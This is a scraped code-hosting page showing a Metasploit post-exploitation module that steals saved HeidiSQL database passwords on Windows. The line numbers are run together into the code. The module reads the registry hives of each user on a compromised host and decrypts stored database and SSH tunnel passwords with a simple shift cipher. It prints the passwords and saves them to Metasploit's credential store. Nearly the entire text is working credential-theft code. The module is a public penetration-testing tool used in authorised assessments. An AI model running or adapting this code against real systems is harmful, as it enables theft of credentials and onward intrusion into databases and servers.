Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/heidisql.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather HeidiSQL Saved Password Extraction',15'Description' => %q{16This module extracts saved passwords from the HeidiSQL client. These17passwords are stored in the registry. They are encrypted with a custom algorithm.18This module extracts and decrypts these passwords.19},20'License' => MSF_LICENSE,21'Author' => ['h0ng10'],22'Platform' => [ 'win' ],23'SessionTypes' => [ 'meterpreter' ]24)25)26end2728def print_status(msg = '')29super("#{peer} - #{msg}")30end3132def print_error(msg = '')33super("#{peer} - #{msg}")34end3536def print_good(msg = '')37super("#{peer} - #{msg}")38end3940def run41userhives = load_missing_hives42userhives.each do |hive|43next if hive['HKU'].nil?4445print_status("Looking at Key #{hive['HKU']}")46begin47subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\HeidiSQL\\Servers")48if subkeys.blank?49print_status('HeidiSQL not installed for this user.')50next51end5253service_types = {540 => 'mysql',551 => 'mysql-named-pipe',562 => 'mysql-ssh',573 => 'mssql-named-pipe',584 => 'mssql',595 => 'mssql-spx-ipx',606 => 'mssql-banyan-vines',617 => 'mssql-windows-rpc',628 => 'postgres'63}6465subkeys.each do |site|66site_key = "#{hive['HKU']}\\Software\\HeidiSQL\\Servers\\#{site}"67host = registry_getvaldata(site_key, 'Host') || ''68user = registry_getvaldata(site_key, 'User') || ''69port = registry_getvaldata(site_key, 'Port') || ''70db_type = registry_getvaldata(site_key, 'NetType') || ''71prompt = registry_getvaldata(site_key, 'LoginPrompt') || ''72ssh_user = registry_getvaldata(site_key, 'SSHtunnelUser') || ''73ssh_host = registry_getvaldata(site_key, 'SSHtunnelHost') || ''74ssh_port = registry_getvaldata(site_key, 'SSHtunnelPort') || ''75ssh_pass = registry_getvaldata(site_key, 'SSHtunnelPass') || ''76win_auth = registry_getvaldata(site_key, 'WindowsAuth') || ''77epass = registry_getvaldata(site_key, 'Password')7879# skip if windows authentication is used (mssql only)80next if db_type.between?(3, 7) && (win_auth == 1)81next if epass.nil? || (epass == '') || (epass.length == 1) || (prompt == 1)8283pass = decrypt(epass)84print_good("Service: #{service_types[db_type]} Host: #{host} Port: #{port} User: #{user} Password: #{pass}")8586service_data = {87address: host == '127.0.0.1' ? rhost : host,88port: port,89service_name: service_types[db_type],90protocol: 'tcp',91workspace_id: myworkspace_id92}9394credential_data = {95origin_type: :session,96session_id: session_db_id,97post_reference_name: refname,98private_type: :password,99private_data: pass,100username: user101}102103credential_data.merge!(service_data)104105# Create the Metasploit::Credential::Core object106credential_core = create_credential(credential_data)107108# Assemble the options hash for creating the Metasploit::Credential::Login object109login_data = {110core: credential_core,111status: Metasploit::Model::Login::Status::UNTRIED112}113114# Merge in the service data and create our Login115login_data.merge!(service_data)116login = create_credential_login(login_data)117118# if we have a MySQL via SSH connection, we need to store the SSH credentials as well119next unless db_type == 2120121print_good("Service: ssh Host: #{ssh_host} Port: #{ssh_port} User: #{ssh_user} Password: #{ssh_pass}")122123service_data = {124address: ssh_host,125port: ssh_port,126service_name: 'ssh',127protocol: 'tcp',128workspace_id: myworkspace_id129}130131credential_data = {132origin_type: :session,133session_id: session_db_id,134post_reference_name: refname,135private_type: :password,136private_data: ssh_pass,137username: ssh_user138}139140credential_data.merge!(service_data)141142# Create the Metasploit::Credential::Core object143credential_core = create_credential(credential_data)144145# Assemble the options hash for creating the Metasploit::Credential::Login object146login_data = {147core: credential_core,148status: Metasploit::Model::Login::Status::UNTRIED149}150151# Merge in the service data and create our Login152login_data.merge!(service_data)153login = create_credential_login(login_data)154end155rescue ::Rex::Post::Meterpreter::RequestError => e156elog(e)157print_error("Cannot Access User SID: #{hive['HKU']} : #{e.message}")158end159end160unload_our_hives(userhives)161end162163def decrypt(encoded)164decoded = ''165shift = Integer(encoded[-1, 1])166encoded = encoded[0, encoded.length - 1]167168hex_chars = encoded.scan(/../)169hex_chars.each do |entry|170x = entry.to_i(16) - shift171decoded += x.chr(::Encoding::UTF_8)172end173174return decoded175end176end177178179